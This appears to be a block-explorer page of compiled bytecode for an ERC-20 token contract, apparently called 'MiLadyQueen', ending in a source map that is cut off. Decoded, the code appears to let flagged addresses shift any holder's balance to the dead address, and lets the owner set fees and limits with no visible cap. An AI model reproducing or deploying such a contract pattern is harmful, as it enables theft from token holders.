0610800905f9086908a904290600401611f0b565b5f604051808303818588803b158015610817575f80fd5b505af1158015610829573d5f803e3d5ffd5b505050505050505050565b5f546001600160a01b0316331461085d5760405162461bcd60e51b81526004016106ba90611f3f565b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146108b05760405162461bcd60e51b81526004016106ba90611f3f565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0381165f9081526003602052604081205461060090611402565b5f546001600160a01b031633146109185760405162461bcd60e51b81526004016106ba90611f3f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109895760405162461bcd60e51b81526004016106ba90611f3f565b601955565b5f546001600160a01b031633146109b75760405162461bcd60e51b81526004016106ba90611f3f565b6109c968056bc75e2d63100000610960565b6109db68056bc75e2d63100000610b2f565b565b5f546001600160a01b03163314610a065760405162461bcd60e51b81526004016106ba90611f3f565b601b55565b5f546001600160a01b03163314610a345760405162461bcd60e51b81526004016106ba90611f3f565b600993909355600b91909155600a55600c55565b5f6105fc338484610d67565b5f546001600160a01b03163314610a7d5760405162461bcd60e51b81526004016106ba90611f3f565b5f5b82811015610aeb578160065f868685818110610a9d57610a9d611eb5565b9050602002016020810190610ab29190611d85565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905580610ae381611f88565b915050610a7f565b50505050565b5f546001600160a01b03163314610b1a5760405162461bcd60e51b81526004016106ba90611f3f565b6016805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610b585760405162461bcd60e51b81526004016106ba90611f3f565b601a55565b5f546001600160a01b03163314610b865760405162461bcd60e51b81526004016106ba90611f3f565b6001600160a01b038116610beb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106ba565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ca65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ba565b6001600160a01b038216610d075760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ba565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dcb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ba565b6001600160a01b038216610e2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ba565b5f8111610e8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106ba565b5f546001600160a01b03848116911614801590610eb857505f546001600160a01b03838116911614155b156111b157601654600160a01b900460ff16610f50575f546001600160a01b03848116911614610f505760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106ba565b6001600160a01b0383165f9081526005602052604090205460ff1680610f8d57506001600160a01b0382165f9081526005602052604090205460ff165b80610f9a57506019548111155b610fe65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ba565b6016546001600160a01b038381169116146110af576001600160a01b0383165f9081526005602052604090205460ff168061103857506001600160a01b0382165f9081526005602052604090205460ff165b806110575750601a548161104b846108ce565b6110559190611fa0565b105b6110af5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106ba565b601654600160a81b900460ff166110ca576110ca8383611484565b601654600160a81b900460ff161580156110f257506016546001600160a01b03848116911614155b80156111075750601654600160b01b900460ff165b801561112b57506001600160a01b0383165f9081526006602052604090205460ff16155b801561114f57506001600160a01b0382165f9081526006602052604090205460ff16155b156111b1575f61115e306108ce565b90505f601b54600a6111709190611fb3565b82111561118c57601b5461118590600a611fb3565b905061119a565b611197600283611fca565b90505b6111a381611596565b476111ad816115fa565b5050505b6001600160a01b0383165f9081526006602052604090205460019060ff16806111f157506001600160a01b0383165f9081526006602052604090205460ff165b8061122357506016546001600160a01b0385811691161480159061122357506016546001600160a01b03848116911614155b1561122f57505f6112a9565b6016546001600160a01b03858116911614801561125a57506015546001600160a01b03848116911614155b1561126c57600954601055600a54600f555b6016546001600160a01b03848116911614801561129757506015546001600160a01b03858116911614155b156112a957600b54601055600c54600f555b610aeb84848484611656565b5f81848411156112d85760405162461bcd60e51b81526004016106ba9190611c5b565b505f6112e48486611fe9565b95945050505050565b6112f5611684565b5f805f611301846116b1565b50506001600160a01b0389165f9081526003602052604090205493965091945090925061133091905084611706565b6001600160a01b0386165f9081526003602052604081209190915561dead90527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c5461137c9083611747565b61dead5f5260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c556113b9601154601055601254600f55565b60405181815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b5f6007548211156114685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106ba565b5f6114716117a5565b905061147d83826117c6565b9392505050565b6016546001600160a01b039081169083160361157657325f8181526006602052604090205460ff166001811561150b57601380546001600160a01b038087166001600160a01b0319909216821783555f918252600660209081526040808420805487151560ff19918216811790925595549093168452600590915290912080549092161790555b6001600160a01b038416301461156f576001600160a01b0384165f9081526017602052604090205461153d5743611556565b6001600160a01b0384165f908152601760205260409020545b6001600160a01b0385165f908152601760205260409020555b5050505050565b601880546001600160a01b0319166001600160a01b0384161790555b5050565b5f6064600d54836115a79190611fb3565b6115b19190611fca565b90505f6064600e5483856115c59190611fe9565b6115cf9190611fb3565b6115d99190611fca565b905081156115eb576115eb30836112ed565b80156106e5576106e581611807565b6013546040515f916001600160a01b03169083908381818185875af1925050503d805f8114611644576040519150601f19603f3d011682016040523d82523d5f602084013e611649565b606091505b5050905080611592575f80fd5b8061166357611663611684565b61166e848484611977565b80610aeb57610aeb601154601055601254600f55565b6010541580156116945750600f54155b1561169b57565b60108054601155600f80546012555f9182905555565b5f805f805f805f805f6116c98a601054600f54611a68565b9250925092505f6116d86117a5565b90505f805f6116e98e878787611aba565b919e509c509a509598509396509194505050505091939550919395565b5f61147d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b5565b5f806117538385611fa0565b90508381101561147d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106ba565b5f805f6117b0611b06565b90925090506117bf82826117c6565b9250505090565b5f61147d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b47565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061184d5761184d611eb5565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156118a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118c89190611e9a565b816001815181106118db576118db611eb5565b6001600160a01b0392831660209182029290920101526015546119019130911684610c44565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906119399085905f90869030904290600401611ffc565b5f604051808303815f87803b158015611950575f80fd5b505af1158015611962573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b5f805f805f80611986876116b1565b6001600160a01b038f165f90815260036020526040902054959b509399509197509550935091506119b79087611706565b6001600160a01b03808b165f9081526003602052604080822093909355908a16815220546119e59086611747565b6001600160a01b0389165f90815260036020526040902055611a0681611b73565b611a108483611bb9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a5591815260200190565b60405180910390a3505050505050505050565b5f808080611a816064611a7b8989611bdd565b906117c6565b90505f611a936064611a7b8a89611bdd565b90505f611aaa82611aa48b86611706565b90611706565b9992985090965090945050505050565b5f808080611ac88886611bdd565b90505f611ad58887611bdd565b90505f611ae28888611bdd565b90505f611af382611aa48686611706565b939b939a50919850919650505050505050565b6007545f90819068056bc75e2d63100000611b2182826117c6565b821015611b3e5750506007549268056bc75e2d6310000092509050565b90939092509050565b5f8183611b675760405162461bcd60e51b81526004016106ba9190611c5b565b505f6112e48486611fca565b5f611b7c6117a5565b90505f611b898383611bdd565b305f90815260036020526040902054909150611ba59082611747565b305f90815260036020526040902055505050565b600754611bc69083611706565b600755600854611bd69082611747565b6008555050565b5f825f03611bec57505f610600565b5f611bf78385611fb3565b905082611c048583611fca565b1461147d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106ba565b5f6020808352835180828501525f5b81811015611c8657858101830151858201604001528201611c6a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611cba575f80fd5b50565b5f8060408385031215611cce575f80fd5b8235611cd981611ca6565b946020939093013593505050565b5f805f60608486031215611cf9575f80fd5b8335611d0481611ca6565b92506020840135611d1481611ca6565b929592945050506040919091013590565b80358015158114611d34575f80fd5b919050565b5f8060408385031215611d4a575f80fd5b8235611d5581611ca6565b9150611d6360208401611d25565b90509250929050565b5f60208284031215611d7c575f80fd5b61147d82611d25565b5f60208284031215611d95575f80fd5b813561147d81611ca6565b5f60208284031215611db0575f80fd5b5035919050565b5f805f8060808587031215611dca575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60408486031215611df8575f80fd5b833567ffffffffffffffff80821115611e0f575f80fd5b818601915086601f830112611e22575f80fd5b813581811115611e30575f80fd5b8760208260051b8501011115611e44575f80fd5b602092830195509350611e5a9186019050611d25565b90509250925092565b5f8060408385031215611e74575f80fd5b8235611e7f81611ca6565b91506020830135611e8f81611ca6565b809150509250929050565b5f60208284031215611eaa575f80fd5b815161147d81611ca6565b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b83811015611f005781516001600160a01b031687529582019590820190600101611edb565b509495945050505050565b848152608060208201525f611f236080830186611ec9565b6001600160a01b03949094166040830152506060015292915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611f9957611f99611f74565b5060010190565b8082018082111561060057610600611f74565b808202811582820484141761060057610600611f74565b5f82611fe457634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561060057610600611f74565b85815284602082015260a060408201525f61201a60a0830186611ec9565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4d6e89b9d58bacf77ec577ea3535ae00e70ea7d99bcd6c2ceab913ea1f5da3564736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101d3575f3560e01c806374010ece116100fd578063a2a957bb11610092578063d19ba70011610062578063d19ba70014610543578063dd62ed3e1461056e578063ea1644d5146105b2578063f2fde38b146105d1575f80fd5b8063a2a957bb146104d2578063a9059cbb146104f1578063c492f04614610510578063c9567bf91461052f575f80fd5b80638da5cb5b116100cd5780638da5cb5b146104535780638f9a55c01461046f57806395d89b411461048457806398a5c315146104b3575f80fd5b806374010ece146103ec578063751039fc1461040b5780637d1db4a51461041f5780638cf57cb914610434575f80fd5b806323cc66011161017357806349bd5a5e1161014357806349bd5a5e1461037b5780636d8aa8f81461039a57806370a08231146103b9578063715018a6146103d8575f80fd5b806323cc66011461030d578063269d1faa1461032c5780632fd689e31461034b578063313ce56714610360575f80fd5b80631694505e116101ae5780631694505e1461028957806318160ddd146102a857806323b872dd146102cd57806323c42c74146102ec575f80fd5b806306fdde03146101de578063095ea7b31461022357806311a63e1714610252575f80fd5b366101da57005b5f80fd5b3480156101e9575f80fd5b5060408051808201909152600b81526a26b4a630b23ca8bab2b2b760a91b60208201525b60405161021a9190611c5b565b60405180910390f35b34801561022e575f80fd5b5061024261023d366004611cbd565b6105f0565b604051901515815260200161021a565b34801561025d575f80fd5b50601454610271906001600160a01b031681565b6040516001600160a01b03909116815260200161021a565b348015610294575f80fd5b50601554610271906001600160a01b031681565b3480156102b3575f80fd5b5068056bc75e2d631000005b60405190815260200161021a565b3480156102d8575f80fd5b506102426102e7366004611ce7565b610606565b3480156102f7575f80fd5b5061030b610306366004611cbd565b61066d565b005b348015610318575f80fd5b5061030b610327366004611d39565b610834565b348015610337575f80fd5b50601354610271906001600160a01b031681565b348015610356575f80fd5b506102bf601b5481565b34801561036b575f80fd5b506040516009815260200161021a565b348015610386575f80fd5b50601654610271906001600160a01b031681565b3480156103a5575f80fd5b5061030b6103b4366004611d6c565b610887565b3480156103c4575f80fd5b506102bf6103d3366004611d85565b6108ce565b3480156103e3575f80fd5b5061030b6108ef565b3480156103f7575f80fd5b5061030b610406366004611da0565b610960565b348015610416575f80fd5b5061030b61098e565b34801561042a575f80fd5b506102bf60195481565b34801561043f575f80fd5b50601854610271906001600160a01b031681565b34801561045e575f80fd5b505f546001600160a01b0316610271565b34801561047a575f80fd5b506102bf601a5481565b34801561048f575f80fd5b506040805180820190915260078152664d494c4144595160c81b602082015261020d565b3480156104be575f80fd5b5061030b6104cd366004611da0565b6109dd565b3480156104dd575f80fd5b5061030b6104ec366004611db7565b610a0b565b3480156104fc575f80fd5b5061024261050b366004611cbd565b610a48565b34801561051b575f80fd5b5061030b61052a366004611de6565b610a54565b34801561053a575f80fd5b5061030b610af1565b34801561054e575f80fd5b506102bf61055d366004611d85565b60176020525f908152604090205481565b348015610579575f80fd5b506102bf610588366004611e63565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156105bd575f80fd5b5061030b6105cc366004611da0565b610b2f565b3480156105dc575f80fd5b5061030b6105eb366004611d85565b610b5d565b5f6105fc338484610c44565b5060015b92915050565b5f610612848484610d67565b610663843361065e85604051806060016040528060288152602001612038602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906112b5565b610c44565b5060019392505050565b68056bc75e2d6310000081106106c35760405162461bcd60e51b8152602060048201526016602482015275195e18d959591cc8185b1b1bddd95908185b5bdd5b9d60521b60448201526064015b60405180910390fd5b335f9081526006602052604090205460ff1680156106ea576106e583836112ed565b505050565b6040805160028082526060820183525f926020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611e9a565b815f8151811061078757610787611eb5565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106107bb576107bb611eb5565b6001600160a01b03928316602091820292909201015260155460405163b6f9de9560e01b815291169063b6f9de95908590610800905f9086908a904290600401611f0b565b5f604051808303818588803b158015610817575f80fd5b505af1158015610829573d5f803e3d5ffd5b505050505050505050565b5f546001600160a01b0316331461085d5760405162461bcd60e51b81526004016106ba90611f3f565b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146108b05760405162461bcd60e51b81526004016106ba90611f3f565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0381165f9081526003602052604081205461060090611402565b5f546001600160a01b031633146109185760405162461bcd60e51b81526004016106ba90611f3f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109895760405162461bcd60e51b81526004016106ba90611f3f565b601955565b5f546001600160a01b031633146109b75760405162461bcd60e51b81526004016106ba90611f3f565b6109c968056bc75e2d63100000610960565b6109db68056bc75e2d63100000610b2f565b565b5f546001600160a01b03163314610a065760405162461bcd60e51b81526004016106ba90611f3f565b601b55565b5f546001600160a01b03163314610a345760405162461bcd60e51b81526004016106ba90611f3f565b600993909355600b91909155600a55600c55565b5f6105fc338484610d67565b5f546001600160a01b03163314610a7d5760405162461bcd60e51b81526004016106ba90611f3f565b5f5b82811015610aeb578160065f868685818110610a9d57610a9d611eb5565b9050602002016020810190610ab29190611d85565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905580610ae381611f88565b915050610a7f565b50505050565b5f546001600160a01b03163314610b1a5760405162461bcd60e51b81526004016106ba90611f3f565b6016805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610b585760405162461bcd60e51b81526004016106ba90611f3f565b601a55565b5f546001600160a01b03163314610b865760405162461bcd60e51b81526004016106ba90611f3f565b6001600160a01b038116610beb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106ba565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ca65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ba565b6001600160a01b038216610d075760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ba565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dcb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ba565b6001600160a01b038216610e2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ba565b5f8111610e8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106ba565b5f546001600160a01b03848116911614801590610eb857505f546001600160a01b03838116911614155b156111b157601654600160a01b900460ff16610f50575f546001600160a01b03848116911614610f505760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106ba565b6001600160a01b0383165f9081526005602052604090205460ff1680610f8d57506001600160a01b0382165f9081526005602052604090205460ff165b80610f9a57506019548111155b610fe65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ba565b6016546001600160a01b038381169116146110af576001600160a01b0383165f9081526005602052604090205460ff168061103857506001600160a01b0382165f9081526005602052604090205460ff165b806110575750601a548161104b846108ce565b6110559190611fa0565b105b6110af5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106ba565b601654600160a81b900460ff166110ca576110ca8383611484565b601654600160a81b900460ff161580156110f257506016546001600160a01b03848116911614155b80156111075750601654600160b01b900460ff165b801561112b57506001600160a01b0383165f9081526006602052604090205460ff16155b801561114f57506001600160a01b0382165f9081526006602052604090205460ff16155b156111b1575f61115e306108ce565b90505f601b54600a6111709190611fb3565b82111561118c57601b5461118590600a611fb3565b905061119a565b611197600283611fca565b90505b6111a381611596565b476111ad816115fa565b5050505b6001600160a01b0383165f9081526006602052604090205460019060ff16806111f157506001600160a01b0383165f9081526006602052604090205460ff165b8061122357506016546001600160a01b0385811691161480159061122357506016546001600160a01b03848116911614155b1561122f57505f6112a9565b6016546001600160a01b03858116911614801561125a57506015546001600160a01b03848116911614155b1561126c57600954601055600a54600f555b6016546001600160a01b03848116911614801561129757506015546001600160a01b03858116911614155b156112a957600b54601055600c54600f555b610aeb84848484611656565b5f81848411156112d85760405162461bcd60e51b81526004016106ba9190611c5b565b505f6112e48486611fe9565b95945050505050565b6112f5611684565b5f805f611301846116b1565b50506001600160a01b0389165f9081526003602052604090205493965091945090925061133091905084611706565b6001600160a01b0386165f9081526003602052604081209190915561dead90527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c5461137c9083611747565b61dead5f5260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c556113b9601154601055601254600f55565b60405181815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b5f6007548211156114685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106ba565b5f6114716117a5565b905061147d83826117c6565b9392505050565b6016546001600160a01b039081169083160361157657325f8181526006602052604090205460ff166001811561150b57601380546001600160a01b038087166001600160a01b0319909216821783555f918252600660209081526040808420805487151560ff19918216811790925595549093168452600590915290912080549092161790555b6001600160a01b038416301461156f576001600160a01b0384165f9081526017602052604090205461153d5743611556565b6001600160a01b0384165f908152601760205260409020545b6001600160a01b0385165f908152601760205260409020555b5050505050565b601880546001600160a01b0319166001600160a01b0384161790555b5050565b5f6064600d54836115a79190611fb3565b6115b19190611fca565b90505f6064600e5483856115c59190611fe9565b6115cf9190611fb3565b6115d99190611fca565b905081156115eb576115eb30836112ed565b80156106e5576106e581611807565b6013546040515f916001600160a01b03169083908381818185875af1925050503d805f8114611644576040519150601f19603f3d011682016040523d82523d5f602084013e611649565b606091505b5050905080611592575f80fd5b8061166357611663611684565b61166e848484611977565b80610aeb57610aeb601154601055601254600f55565b6010541580156116945750600f54155b1561169b57565b60108054601155600f80546012555f9182905555565b5f805f805f805f805f6116c98a601054600f54611a68565b9250925092505f6116d86117a5565b90505f805f6116e98e878787611aba565b919e509c509a509598509396509194505050505091939550919395565b5f61147d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b5565b5f806117538385611fa0565b90508381101561147d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106ba565b5f805f6117b0611b06565b90925090506117bf82826117c6565b9250505090565b5f61147d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b47565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061184d5761184d611eb5565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156118a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118c89190611e9a565b816001815181106118db576118db611eb5565b6001600160a01b0392831660209182029290920101526015546119019130911684610c44565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906119399085905f90869030904290600401611ffc565b5f604051808303815f87803b158015611950575f80fd5b505af1158015611962573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b5f805f805f80611986876116b1565b6001600160a01b038f165f90815260036020526040902054959b509399509197509550935091506119b79087611706565b6001600160a01b03808b165f9081526003602052604080822093909355908a16815220546119e59086611747565b6001600160a01b0389165f90815260036020526040902055611a0681611b73565b611a108483611bb9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a5591815260200190565b60405180910390a3505050505050505050565b5f808080611a816064611a7b8989611bdd565b906117c6565b90505f611a936064611a7b8a89611bdd565b90505f611aaa82611aa48b86611706565b90611706565b9992985090965090945050505050565b5f808080611ac88886611bdd565b90505f611ad58887611bdd565b90505f611ae28888611bdd565b90505f611af382611aa48686611706565b939b939a50919850919650505050505050565b6007545f90819068056bc75e2d63100000611b2182826117c6565b821015611b3e5750506007549268056bc75e2d6310000092509050565b90939092509050565b5f8183611b675760405162461bcd60e51b81526004016106ba9190611c5b565b505f6112e48486611fca565b5f611b7c6117a5565b90505f611b898383611bdd565b305f90815260036020526040902054909150611ba59082611747565b305f90815260036020526040902055505050565b600754611bc69083611706565b600755600854611bd69082611747565b6008555050565b5f825f03611bec57505f610600565b5f611bf78385611fb3565b905082611c048583611fca565b1461147d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106ba565b5f6020808352835180828501525f5b81811015611c8657858101830151858201604001528201611c6a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611cba575f80fd5b50565b5f8060408385031215611cce575f80fd5b8235611cd981611ca6565b946020939093013593505050565b5f805f60608486031215611cf9575f80fd5b8335611d0481611ca6565b92506020840135611d1481611ca6565b929592945050506040919091013590565b80358015158114611d34575f80fd5b919050565b5f8060408385031215611d4a575f80fd5b8235611d5581611ca6565b9150611d6360208401611d25565b90509250929050565b5f60208284031215611d7c575f80fd5b61147d82611d25565b5f60208284031215611d95575f80fd5b813561147d81611ca6565b5f60208284031215611db0575f80fd5b5035919050565b5f805f8060808587031215611dca575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60408486031215611df8575f80fd5b833567ffffffffffffffff80821115611e0f575f80fd5b818601915086601f830112611e22575f80fd5b813581811115611e30575f80fd5b8760208260051b8501011115611e44575f80fd5b602092830195509350611e5a9186019050611d25565b90509250925092565b5f8060408385031215611e74575f80fd5b8235611e7f81611ca6565b91506020830135611e8f81611ca6565b809150509250929050565b5f60208284031215611eaa575f80fd5b815161147d81611ca6565b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b83811015611f005781516001600160a01b031687529582019590820190600101611edb565b509495945050505050565b848152608060208201525f611f236080830186611ec9565b6001600160a01b03949094166040830152506060015292915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611f9957611f99611f74565b5060010190565b8082018082111561060057610600611f74565b808202811582820484141761060057610600611f74565b5f82611fe457634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561060057610600611f74565b85815284602082015260a060408201525f61201a60a0830186611ec9565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4d6e89b9d58bacf77ec577ea3535ae00e70ea7d99bcd6c2ceab913ea1f5da3564736f6c63430008140033

Deployed Bytecode Sourcemap

6766:16131:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9779:83;;;;;;;;;;-1:-1:-1;9849:5:0;;;;;;;;;;;;-1:-1:-1;;;9849:5:0;;;;9779:83;;;;;;;:::i;:::-;;;;;;;;10512:193;;;;;;;;;;-1:-1:-1;10512:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10512:193:0;1023:187:1;8078:96:0;;;;;;;;;;-1:-1:-1;8078:96:0;;;;-1:-1:-1;;;;;8078:96:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;8078:96:0;1215:219:1;8183:41:0;;;;;;;;;;-1:-1:-1;8183:41:0;;;;-1:-1:-1;;;;;8183:41:0;;;10318:95;;;;;;;;;;-1:-1:-1;7378:23:0;10318:95;;;1819:25:1;;;1807:2;1792:18;10318:95:0;1673:177:1;11236:446:0;;;;;;;;;;-1:-1:-1;11236:446:0;;;;;:::i;:::-;;:::i;11690:709::-;;;;;;;;;;-1:-1:-1;11690:709:0;;;;;:::i;:::-;;:::i;:::-;;22656:129;;;;;;;;;;-1:-1:-1;22656:129:0;;;;;:::i;:::-;;:::i;7970:101::-;;;;;;;;;;-1:-1:-1;7970:101:0;;;;-1:-1:-1;;;;;7970:101:0;;;8588:56;;;;;;;;;;;;;;;;10421:83;;;;;;;;;;-1:-1:-1;10421:83:0;;6888:1;2943:36:1;;2931:2;2916:18;10421:83:0;2801:184:1;8231:28:0;;;;;;;;;;-1:-1:-1;8231:28:0;;;;-1:-1:-1;;;;;8231:28:0;;;22793:101;;;;;;;;;;-1:-1:-1;22793:101:0;;;;;:::i;:::-;;:::i;9965:138::-;;;;;;;;;;-1:-1:-1;9965:138:0;;;;;:::i;:::-;;:::i;6611:148::-;;;;;;;;;;;;;:::i;21802:108::-;;;;;;;;;;-1:-1:-1;21802:108:0;;;;;:::i;:::-;;:::i;22278:128::-;;;;;;;;;;;;;:::i;8479:46::-;;;;;;;;;;;;;;;;8442:28;;;;;;;;;;-1:-1:-1;8442:28:0;;;;-1:-1:-1;;;;;8442:28:0;;;6272:79;;;;;;;;;;-1:-1:-1;6310:7:0;6337:6;-1:-1:-1;;;;;6337:6:0;6272:79;;8532:49;;;;;;;;;;;;;;;;9870:87;;;;;;;;;;-1:-1:-1;9942:7:0;;;;;;;;;;;;-1:-1:-1